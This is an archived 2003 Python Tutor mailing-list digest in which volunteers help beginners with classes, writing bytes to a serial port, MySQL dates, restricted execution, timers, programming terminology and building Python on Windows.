Date: Wed Jun 18 15:15:03 2003
Subject: [Tutor] trusted?
In-Reply-To: <20030618184714.GA15120@glacier.arctrix.com>
Message-ID: <20030618191447.60880.qmail@web20204.mail.yahoo.com>

--- Neil Schemenauer <nas-pytut@python.ca> wrote:

> 
> Python will indeed no longer pretend to support
> restricted execution.

Is this really a problem with the language 
isnt this more of a coding problem? ie code to make it
secure?
Thanks for the link, btw


> Older versions of Python were not secure.  It would
> take a massive
> effort to make restricted execution work correctly. 
> The Python
> developers currently don't have the resources to do
> it.
> 
> Some food for thought:
> 
>     http://cap-lore.com/Dual.html
> 
> Cheers,
> 
>    Neil


__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com


From alan.gauld@blueyonder.co.uk  Wed Jun 18 16:17:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun 18 15:17:02 2003
Subject: [Tutor] Class
References: <20030617074235.18747.qmail@web40403.mail.yahoo.com>
Message-ID: <002801c335cd$f160da10$6401a8c0@xp>

> hey i was wondering how do you write a class ??

You will find more details in the OO section of my online
tutor (see below), however...


> class Diary:

Good start!


> def __init__(self):
>    self.data = []

THis needs to be indented to tell Python that its actually
part of the class. And probably something like "entries" is a
better name than 'data' whoich doesn't really tell us what
kind of data...

> def addEntry(day, month, year, text):

You need to have a self parameter at the start of methods.
This will, when the method is executed, comntain a refeence
to the actual instance of diary that is being used.

You can then use that self reference to access your data/entries list:

def addEntry(self, day, month, year, text):
   self.data.append((day,month, year, text))

Another way to do this though would be to use a dictionary
keyed by date.

def __init__(self):
   self.entries = {}

def addEntry(self, theDate, theText)
   self.entries[theDate] = theText

Then extracting an entry becomes a case of accessing the
dictionary:

def readEntry(self, aDate):
   return self.entries[aDate]

Of course you probably want the ability to append edditional
text to a date:

def appendEntry(self, theDate, theTExt):
   self.entries[theDate] = self.entries[theDate] + theTExt

You can either use the mxDate module to generate and manipulate
dates, or the standard time library module might suffice. Although
for the latter I'd be inclined to create a Date class to wrap it up
more conveniently. Overall I'd recommemd mxDate I think...

HTH,

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From nas-pytut@python.ca  Wed Jun 18 16:17:21 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Wed Jun 18 15:17:21 2003
Subject: [Tutor] Re: sending hex data on port
In-Reply-To: <20030618115301.1749.h014.c000.wm@mail.stanfield.net.criticalpath.net>
References: <20030618115301.1749.h014.c000.wm@mail.stanfield.net.criticalpath.net>
Message-ID: <20030618192007.GB15263@glacier.arctrix.com>

vicki@stanfield.net wrote:
> Okay, sorry to reply to my own post, but I am still
> working on this. I tried something which I think is
> close to what I need. I am using binascii.
> 
> port.write(binascii.a2b_hex("18"))
> 
> Is this what I am supposed to be using to translate dec
> to hex?

I think you are confused about the difference between numbers and
strings.  The hex() builtin requires an integer as an argument.  '18' is
a string.  You really need to be more specific as to what you want to
do.  '18' could be interpreted as a number in base 10 or in base 16 or
in lots of other ways.  For example, if the value you have is '1829',
what are the characters you want to write to port?

  Neil


From pythontutor@venix.com  Wed Jun 18 16:18:12 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Wed Jun 18 15:18:12 2003
Subject: [Tutor] Re: sending hex data on port
References: <20030618115301.1749.h014.c000.wm@mail.stanfield.net.criticalpath.net>
Message-ID: <3EF0BA94.7070408@venix.com>

I am not clear as to what output you really want.

18 as a number = 12 in hex
1 8 as string = 31 38 in hex

Are either of those what you are trying to do?

Do you process one character at a time? strings? numbers?

vicki@stanfield.net wrote:
> On Wed, 18 Jun 2003 13:26:47 -0500 (EST),
> vicki@stanfield.net wrote:
> 
> 
>>I am working on a project which requires that I read
>>data in from a file and send the hex equivalent out on
>>the serial port. I have everything except how to send
>>the data in hex format. I have looked through a lot of
>>apps but most are really more complicated than I am
>>ready for. If I simply try to do this:
>>
>>port.write(hex(18))
>>
>>It translates the 1 to hex and then the 8 to hex. I
>>realize this is quite simplistic, but it is really all
>>I need to do. If I put '18', it complains about not
>>being able to convert a hex value to a hex value.
>>
>>Pardon my ignorance, but can someone please point me
> 
> in
> 
>>the right direction?
>>
>>--vicki
> 
> 
> Okay, sorry to reply to my own post, but I am still
> working on this. I tried something which I think is
> close to what I need. I am using binascii.
> 
> port.write(binascii.a2b_hex("18"))
> 
> Is this what I am supposed to be using to translate dec
> to hex?
> 
> --vicki
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From tireseas@onetel.com  Wed Jun 18 16:21:04 2003
From: tireseas@onetel.com (valhalla)
Date: Wed Jun 18 15:21:04 2003
Subject: [Tutor] Using time module to count off seconds before an event
In-Reply-To: <20030618160006.26158.38696.Mailman@mail.python.org>
References: <20030618160006.26158.38696.Mailman@mail.python.org>
Message-ID: <200306182018.46155.tireseas@onetel.com>

Hello
I am wanting to modify a guessing game script I have so that the player i=
s=20
given x number of seconds (e.g. 60 seconds) during which to guess the ans=
wer=20
before time's up and game is over.

I've read the documents at http://www.python.org/doc/lib/module-time.html=
 but=20
cannot see any description of the function I am after. It would be the=20
functional equivalent of 'sleep' except that it wouldn't sleep but would=20
rather 'count off' (actually print to stdout) the seconds for the user an=
d=20
then once these have elapsed an event would be triggered - so really the=20
inverse of sleep I suppose.

Any suggestions/pointers which function I'm looking for or - failing that=
 - a=20
work-around?

Cheers

Andy
=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
||  Reg. Linux User: 313143 ||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Sign the Petition:
http://www.PetitionOnline.com/endtcpa1/


From vicki@stanfield.net  Wed Jun 18 16:24:04 2003
From: vicki@stanfield.net (vicki@stanfield.net)
Date: Wed Jun 18 15:24:04 2003
Subject: [Tutor] Re: sending hex data on port
Message-ID: <20030618122315.1167.h015.c000.wm@mail.stanfield.net.criticalpath.net>

On Wed, 18 Jun 2003 12:20:07 -0700, Neil Schemenauer
wrote:

> I think you are confused about the difference between
> numbers and
> strings.  The hex() builtin requires an integer as an
> argument.  '18' is
> a string.  You really need to be more specific as to
> what you want to
> do.  '18' could be interpreted as a number in base 10
> or in base 16 or
> in lots of other ways.  For example, if the value you
> have is '1829',
> what are the characters you want to write to port?
> 
>   Neil

Yes, I am. I really just need to pass over the serial
port a hex 18 (0x18) and then a hex 0B (0x0B) and then
a hex 1D (0x1D). I am obtaining return values each time
via the same serial connection. I appreciate your help. 

--vicki


From alan.gauld@blueyonder.co.uk  Wed Jun 18 16:26:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun 18 15:26:02 2003
Subject: [Tutor] languages
References: <200306152352.29040.shalehperry@attbi.com> <000e01c333c6$8525e420$c49780d1@vvernon> <000e01c333c6$8525e420$c49780d1@vvernon> <5.2.1.1.0.20030617174116.01e97788@www.thinkware.se>
Message-ID: <004301c335cf$1a817520$6401a8c0@xp>

> There are certainly exceptions to this. I think Lisp
> programmres will find that they have to change their way
> of thinking quite a bit to use Python effectively, 

On the contrary Python is very close to lisp both in structure 
and even syntactically(without the patentheses of course). In 
fact there is an excellent article on the IBM web site 
showing lisp programmers how to convert to Python.

Compare:

(defun foo (x y) 
    ( * x y))

def foo(x,y):
   return x * y

Alan G.
A secret fan of lisp who never uses it for real :-)


From magnus@thinkware.se  Wed Jun 18 16:32:04 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 18 15:32:04 2003
Subject: [Tutor] MySQLdb table is DATE, but SELECT returns with
 TIMESTAMP.
In-Reply-To: <200306180900.58366.decibelshelp@charter.net>
References: <5.2.1.1.0.20030618095127.01e8ee58@www.thinkware.se>
 <5.2.1.1.0.20030618095127.01e8ee58@www.thinkware.se>
Message-ID: <5.2.1.1.0.20030618212438.01e84780@www.thinkware.se>

I assume this was meant for the list.

At 09:00 2003-06-18 -0500, Decibels wrote:
>Yes, I have egenix-mx-base which I believe has what I need.
>http://www.egenix.com/files/python/eGenix-mx-Extensions.html#mxDateTime
>
>I have no problem deleting it. It is the issue with MySQL manual
>saying it does differentiate between date and datestamp.
>I tested it and it does.
>
>I was just thinking that since MySQL didn't store it as a datestamp,
>but a date, when I specified 'date', that I should have been able to
>retrieve it as such.

Sure, in the database end of the connection, this is how it works.
I the Python end, the mx.DateTime type called DateTime is used, and
its just one type. Dates are simply DateTimes where the time-part
is 00:00:00.0 in mx.DateTime.

When Python 2.3 is established, I guess that many database drivers
will support the new standard datetime module in Python, and then we
will have separate date and datetime classes.

>It would make it easier to search for it.

I don't understand this. Can you give an example?

>   Even if it isn't behaving in a
>manner that seems inconsistent with MySQL itself and just 'TAGGING'
>a default timestamp when it retrieves the date. Even though it wasn't
>stored that way. I still probably need to learn to use the mx.DateTime
>module.

Now I lost you...

>I am still playing with it. Seems that what I did earlier sort of worked, or
>I borked the code a little later. But when I was testing, I just had one row
>now I have two and it says no matches, so won't delete.  So have to
>see why it isn't matching, probably typo. But would have been less
>troublesome to start with if it retreived the date like I stored it.

I guess you did something wrong. If two rows match the WHERE clause
of a DELETE statement, both rows should be deleted.

>Dave
>
>On Wednesday 18 June 2003 03:01 am, you wrote:
> > You won't understand this by reading MySQL manuals, you
> > must understand what data types you use in *Python*.
[snip my old mail...]


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From nas-pytut@python.ca  Wed Jun 18 16:46:02 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Wed Jun 18 15:46:02 2003
Subject: [Tutor] trusted?
In-Reply-To: <20030618191447.60880.qmail@web20204.mail.yahoo.com>
References: <20030618184714.GA15120@glacier.arctrix.com> <20030618191447.60880.qmail@web20204.mail.yahoo.com>
Message-ID: <20030618194904.GC15263@glacier.arctrix.com>

Gerardo Arnaez wrote:
> --- Neil Schemenauer <nas-pytut@python.ca> wrote:
> > Python will indeed no longer pretend to support
> > restricted execution.
> 
> Is this really a problem with the language 
> isnt this more of a coding problem? ie code to make it
> secure?

Many problems could be called a coding problem. :-)

Seriously, it is both a lanuage and a coding problem.  The specification
of what restricted execution means is not clear.  The implemention of
restricted execution was also not correct.  As I said in my last email,
the Python developers don't have the resource to fix these problems.

  Neil


From pythontutor@venix.com  Wed Jun 18 16:47:04 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Wed Jun 18 15:47:04 2003
Subject: [Tutor] Re: sending hex data on port
References: <20030618122315.1167.h015.c000.wm@mail.stanfield.net.criticalpath.net>
Message-ID: <3EF0C18D.4080601@venix.com>

To me hex is a way to represent an underlying set of bits
00011000 = 0x18
10001000 = 0x44

You are trying to write a hex 18 over a serial port.  Does that mean
you want to write a '1' followed by a '8'  That is a character one (hex 49)
followed by an 8 (hex 48)?

If you are trying to write some bits that have the hex value 18, then you
are probably want to write the character represented by 00011000.  Those
bits equal 24 in base 10.  The matching character is chr(24).

What module are you using?  Does it make sense to say port.write(chr(24))?


vicki@stanfield.net wrote:
> On Wed, 18 Jun 2003 12:20:07 -0700, Neil Schemenauer
> wrote:
> 
> 
>>I think you are confused about the difference between
>>numbers and
>>strings.  The hex() builtin requires an integer as an
>>argument.  '18' is
>>a string.  You really need to be more specific as to
>>what you want to
>>do.  '18' could be interpreted as a number in base 10
>>or in base 16 or
>>in lots of other ways.  For example, if the value you
>>have is '1829',
>>what are the characters you want to write to port?
>>
>>  Neil
> 
> 
> Yes, I am. I really just need to pass over the serial
> port a hex 18 (0x18) and then a hex 0B (0x0B) and then
> a hex 1D (0x1D). I am obtaining return values each time
> via the same serial connection. I appreciate your help. 
> 
> --vicki
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From pythontutor@venix.com  Wed Jun 18 16:52:22 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Wed Jun 18 15:52:22 2003
Subject: [Tutor] Re: sending hex data on port
References: <20030618122315.1167.h015.c000.wm@mail.stanfield.net.criticalpath.net> <3EF0C18D.4080601@venix.com>
Message-ID: <3EF0C292.9050805@venix.com>

  10001000 = 0x88	(sigh)

Lloyd Kvam wrote:
> To me hex is a way to represent an underlying set of bits
> 00011000 = 0x18
> 10001000 = 0x44
> 
> You are trying to write a hex 18 over a serial port.  Does that mean
> you want to write a '1' followed by a '8'  That is a character one (hex 49)
> followed by an 8 (hex 48)?
> 
> If you are trying to write some bits that have the hex value 18, then you
> are probably want to write the character represented by 00011000.  Those
> bits equal 24 in base 10.  The matching character is chr(24).
> 
> What module are you using?  Does it make sense to say port.write(chr(24))?
> 
> 
> vicki@stanfield.net wrote:
> 
>> On Wed, 18 Jun 2003 12:20:07 -0700, Neil Schemenauer
>> wrote:
>>
>>
>>> I think you are confused about the difference between
>>> numbers and
>>> strings.  The hex() builtin requires an integer as an
>>> argument.  '18' is
>>> a string.  You really need to be more specific as to
>>> what you want to
>>> do.  '18' could be interpreted as a number in base 10
>>> or in base 16 or
>>> in lots of other ways.  For example, if the value you
>>> have is '1829',
>>> what are the characters you want to write to port?
>>>
>>>  Neil
>>
>>
>>
>> Yes, I am. I really just need to pass over the serial
>> port a hex 18 (0x18) and then a hex 0B (0x0B) and then
>> a hex 1D (0x1D). I am obtaining return values each time
>> via the same serial connection. I appreciate your help.
>> --vicki
>>
>> _______________________________________________
>> Tutor maillist  -  Tutor@python.org
>> http://mail.python.org/mailman/listinfo/tutor
>>
> 
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From tireseas@onetel.com  Wed Jun 18 16:52:50 2003
From: tireseas@onetel.com (valhalla)
Date: Wed Jun 18 15:52:50 2003
Subject: [Tutor] Using time module to count-off seconds
Message-ID: <200306182051.27787.tireseas@onetel.com>

Hello
I am wanting to modify a guessing game script I have so that the player i=
s=20
given x number of seconds (e.g. 60 seconds) during which to guess the ans=
wer=20
before time's up and game is over.

I've read the documents at http://www.python.org/doc/lib/module-time.html=
 but=20
cannot see any description of the function I am after. It would be the=20
functional equivalent of 'sleep' except that it wouldn't sleep but would=20
rather 'count off' (actually print to stdout) the seconds for the user an=
d=20
then once these have elapsed an event would be triggered - so really the=20
inverse of sleep I suppose.

Any suggestions/pointers which function I'm looking for or - failing that=
 - a=20
work-around?

Cheers

Andy
=20

--=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
||  Reg. Linux User: 313143 ||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Sign the Petition:
http://www.PetitionOnline.com/endtcpa1/


From vicki@stanfield.net  Wed Jun 18 16:58:02 2003
From: vicki@stanfield.net (vicki@stanfield.net)
Date: Wed Jun 18 15:58:02 2003
Subject: [Tutor] Re: sending hex data on port
Message-ID: <20030618125753.17331.h012.c000.wm@mail.stanfield.net.criticalpath.net>

>To me hex is a way to represent an underlying set of
>bits
>00011000 = 0x18
>10001000 = 0x44

>You are trying to write a hex 18 over a serial port. 
>Does that mean
>you want to write a '1' followed by a '8'  That is a
>character one (hex 49)
>followed by an 8 (hex 48)?

>If you are trying to write some bits that have the
>hex value 18, then you
>are probably want to write the character represented
>by 00011000.  Those
>bits equal 24 in base 10.  The matching character is
>chr(24).

>What module are you using?  Does it make sense to say
>port.write(chr(24))?

That might be it. Is there a function that
automatically translates between the 0x18 and the chr
value that I need? I understand how you got the value
and could write my own, but if it already exists.....

--vicki


From pythontutor@venix.com  Wed Jun 18 17:15:16 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Wed Jun 18 16:15:16 2003
Subject: [Tutor] Re: sending hex data on port
References: <20030618125753.17331.h012.c000.wm@mail.stanfield.net.criticalpath.net>
Message-ID: <3EF0C801.4040004@venix.com>

chr(int(hex_string,16)) should do it.

(This does raise the question as to why the data comes in as
hex strings in the first place.)

vicki@stanfield.net wrote:
> That might be it. Is there a function that
> automatically translates between the 0x18 and the chr
> value that I need? I understand how you got the value
> and could write my own, but if it already exists.....
> 
> --vicki
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From alan.gauld@blueyonder.co.uk  Wed Jun 18 17:22:22 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun 18 16:22:22 2003
Subject: [Tutor] programming definitions for a newbie.
References: <20030618104353.11973.qmail@web41105.mail.yahoo.com>
Message-ID: <000301c335d6$d2a77850$6401a8c0@xp>

Hi Tristan,

> Is someone able to define (in as non-programming
> language as possible) the following terms in relation
> to what they actually in a very broad and basic sense.

Thats what I try to do with my tutorial. Especially in the
early chapters.

I'll cut n paste some examples into this mail, if you don't
understand the explanations please let me know so that I
can improve them for the benefit of future readers.

> *module-

---------

When you start Python there are a bunch of commands available
to you called built-ins, because they are built in to the Python
core. However Python can extend the list of commands available
by incorporating extension modules. - It's a bit like buying
a new tool in your favourite DIY shop and adding it to your
toolbox. The tool is the sys part and the import operation
puts it into the toolbox.

In fact what this command does is makes available a whole bunch
of new 'tools' in the shape of Python commands which are defined
in a file called 'sys.py'(*). This is how Python is extended to
do all sorts of clever things that are not built in to the
basic system. You can even create your own modules and import
and use them, just like the modules provided with Python
when you installed it.

(*)Actually 'sys' is a special case and 'sys.py' doesn't exist,
but most modules use that kind of naming scheme

--------------


> putting in "import cgi".  But how can i dump a raw
> object from cgi into an html page just to see what it
> looks like?  Or am i confused as to what the cgi
> module can do?

I think you are a little confused, you need to read the tutorial
on CGI from the Python web site maybe. To use the Python cgi
module does require some knowledge of how the CGI protocol
works. Its not IMHO as easy as the Perl CGI module, although
arguably its more flexible.


> *object orientated programming

Theres a whole section on this in the tutor but the definition
bit is here:

-----------------

Data and Function - together
Objects are collections of data and functions that operate on
that data. These are bound together so that you can pass an object
from one part of your program and they automatically get access to not
only the data attributes but the operations that are available too.

For example a string object would store the character string but also
provide methods to operate on that string - search, change case,
calculate length etc.

Objects use a message passing metaphor whereby one object passes a
message to another object and the receiving object responds by
executing one of its operations, a method. So a method is invoked on
receipt of the corresponding message by the owning object.

------------------

> *arrays

---------------
Array or Vector
A list of items which are indexed for easy and fast retrieval.
Usually you have to say up front how many items you want to store.
Lets say I have an array called A, then I can extract the 3rd
item in A by writing A[3]. Arrays are fundamental in BASIC, in
fact they are the only built in collection type. In Python
arrays are simulated using lists and in Tcl arrays are
implemented using dictionaries.

---------------
NOTE: indexing, lists, dictionaries and collection types are all
explained earlier in the same section.



> *classes

WE're back on OOP here, but specifically a class is described as:

---------------------

Defining Classes
Just as data has various types so objects can have different
types. These collections of objects with identical characteristics
are collectively known as a class. We can define classes and
create instances of them, which are the actual objects. We
can store references to these objects in variables in our programs.

Let's look at a concrete example to see if we can explain it
better. We will create a message class that contains a string
- the message text - and a method to print the message. ....



...What we have so far is the ability to define our own
types (classes) and create instances of these and assign
them to variables. We can then pass messages to these objects
which trigger the methods we have defined. But there's
one last element to this OO stuff, and in many ways it's
the most important aspect of all.

If we have two objects of different classes but which
support the same set of messages but with their own
corresponding methods then we can collect these objects
together and treat them identically in our program but
the objects will behave differently. This ability to
behave differently to the same input messages is known
as polymorphism. ...

...

Inheritance is often used as a mechanism to implement
polymorphism. Indeed in many OO languages it is the only
way to implement polymorphism. It works as follows:

A class can inherit both attributes and operations from
a parent or super class. This means that a new class which
is identical to another class in most respects does not
need to reimplement all the methods of the existing class,
rather it can inherit those capabilities and then override
those that it wants to do differently (like the paint
method in the case above)

------------------------------

> *function
A function is one type of moduile at the computer theory level,
although in Python they are two diffeent things...

------------

The role of modular programming is to allow the programmer to
extend the built in capabilities of the language. It packages
up bits of program into modules that we can 'plug in' to our
programs. The first form of module was the subroutine which
was a block of code that you could jump to (rather like the
GOTO mentioned in the branching section) but when the block
completed, it could jump back to wherever it was called from.
That specific style of modularity is known as a procedure
or function.

-----------------


> *local variable
> *global variable

Actually I don't explain this well in the web tutor and only
slightly better in the book! I'll need to do a bit more here.
What I do say is:
------------------
 In Python there are only ever 3 namespaces (or scopes):
  1.. Local scope - names defined within a function or method
  2.. Module scope - names defined within a file
  3.. Builtin scope - names defined within Python itself are always
available.
----------------

> And if they do explain, its in programmers language
> that i cant understand :P.

THats what I'm trying to avoid so if I'm not succeeding please let
me know(theres a mail me link at the bottom of every page!). Its
only by being made aware of deficiencies that I can improve it.
This list helps enormously by highlighting FAQs but specific
areas of improvement are best highlighted by specific emails.

> things get more intense and programming lingo steps up
> a notch also.

That is inevitable, as jargon gets introduced it gets used.
Thats what its there for and part of the work of learning
any skill is learning(ie memorizing!) the meaning of jargon
terms. But if the initial explamnationi is inadequate please
shout don't suffer in silence!

> Sorry about the long post.  wanted to explain so you
> can understand the level i am at.

Please do , thats what this list (and my tutor) is there for.

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From alan.gauld@blueyonder.co.uk  Wed Jun 18 17:26:03 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun 18 16:26:03 2003
Subject: [Tutor] programming definitions for a newbie.
References: <BAY8-F45ljq65Rn8P5o0004a571@hotmail.com>
Message-ID: <002a01c335d7$8a81d0b0$6401a8c0@xp>

> Just to make sure that I've got this correct, object oriented
proramming
> allows a programmer to merge the data with the methods acting upon
them,

Yes.

> rinstance if I do an assignment such as:
> x = "Ruben"
> len(x)
> but I cant do that in procedural programming.

Sorry, no. You CAN do that procedurally, and in fact you just did!
len() is a function not a method of an object(although len is a
special kind of function, just to complicate things even more!
Lets not go there yet!)

> What is the advantage of object oriented programming as opposed to
> procedural programming? Does is shorten the amount of code you need
to
> write?

For small programs it usually means slightly longer code but
in long projects yes, it generally reduces the amount of code.
However the real advantage is that it helps keep things
organised by grouping all the related fubnctions with the data
that they work on, so it's easier to see what changes affect
what other bits. (This is sometimes called "dependency management"
by the academics)

Try reading the OOP section of my tutor to see if it helps.

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From klatu@clara.co.uk  Wed Jun 18 18:13:01 2003
From: klatu@clara.co.uk (dave)
Date: Wed Jun 18 17:13:01 2003
Subject: [Tutor] Beginning Programming
Message-ID: <200306182005.58261.klatu@clara.co.uk>

Hi

Could someone recommend a book that teachs programming from first princip=
les=20
using Python. NOT, how to program in python !!.
Apologies if this is a FAQ question.

Dave


From python@zeratec.com  Wed Jun 18 18:19:09 2003
From: python@zeratec.com (Avneet Mathur)
Date: Wed Jun 18 17:19:09 2003
Subject: [Tutor] Help
Message-ID: <000201c335df$2c757460$6b01a8c0@zeratec>

This is a multi-part message in MIME format.

------=_NextPart_000_0003_01C335B5.439F6C60
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

I am new user to python and was trying to compile the source for
windows. I would appreciate it if someone could help me with it PLEASE
as I get hit with a bunch of errors. I opened up PC/winmain.c in VC++
6.0 and compile. I am using Python 2.2.3 and windows 2000. 
 
Thanks a lot in advance!
 

------=_NextPart_000_0003_01C335B5.439F6C60
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C335B5.431A84F0">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
span.SpellE
	{mso-style-name:"";
	mso-spl-e:yes;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I am new user to python and was trying to compile the =
source
for windows. I would appreciate it if someone could help me with it =
PLEASE as I
get hit with a bunch of errors. I opened up PC/<span =
class=3DSpellE>winmain.c</span>
in VC++ 6.0 and compile. I am using Python 2.2.3 and windows 2000. =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Thanks a lot in advance!<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_000_0003_01C335B5.439F6C60--



From nas-pytut@python.ca  Wed Jun 18 18:28:02 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Wed Jun 18 17:28:02 2003
Subject: [Tutor] Beginning Programming
In-Reply-To: <200306182005.58261.klatu@clara.co.uk>
References: <200306182005.58261.klatu@clara.co.uk>
Message-ID: <20030618213055.GA15709@glacier.arctrix.com>

dave wrote:
> Could someone recommend a book that teachs programming from first principles 
> using Python. NOT, how to program in python !!.
> Apologies if this is a FAQ question.

    http://www.ibiblio.org/obp/thinkCSpy/

I haven't read this book myself but it looks like it might be what you
want.

  Neil


From ATrautman@perryjudds.com  Wed Jun 18 18:29:01 2003
From: ATrautman@perryjudds.com (Alan Trautman)
Date: Wed Jun 18 17:29:01 2003
Subject: [Tutor] Help
Message-ID: <06738462136C054B8F8872D69DA140DB010805@corp-exch-1.pjinet.com>

I guess I have to ask why you are compiling from source? The windows
installer works well on all somewhat modern versions of windows. I've never
had any trouble getting it installed and working usually first try. The
modest speed gains by optimizing processor specific can't be worth the
effort. I've never considered Athlon optimization for any of the versions I
have.

Download, install, use and have fun that's why we use python.

http://www.python.org/2.2.3

Is the location for the download.

Good Luck,

Alan
-----Original Message-----
From: Avneet Mathur [mailto:python@zeratec.com]
Sent: Wednesday, June 18, 2003 4:19 PM
To: tutor@python.org
Subject: [Tutor] Help


I am new user to python and was trying to compile the source for windows. I
would appreciate it if someone could help me with it PLEASE as I get hit
with a bunch of errors. I opened up PC/winmain.c in VC++ 6.0 and compile. I
am using Python 2.2.3 and windows 2000. 
 
Thanks a lot in advance!
 


From nas-pytut@python.ca  Wed Jun 18 18:34:01 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Wed Jun 18 17:34:01 2003
Subject: [Tutor] Help
In-Reply-To: <000201c335df$2c757460$6b01a8c0@zeratec>
References: <000201c335df$2c757460$6b01a8c0@zeratec>
Message-ID: <20030618213723.GA15794@glacier.arctrix.com>

Avneet Mathur wrote:
> I am new user to python and was trying to compile the source for
> windows.

See the README.txt file in the PCbuild folder for instructions.  Note
that you don't need compile Python in order to use it.  It's much easier
to install using the prebuilt installer.

  Neil
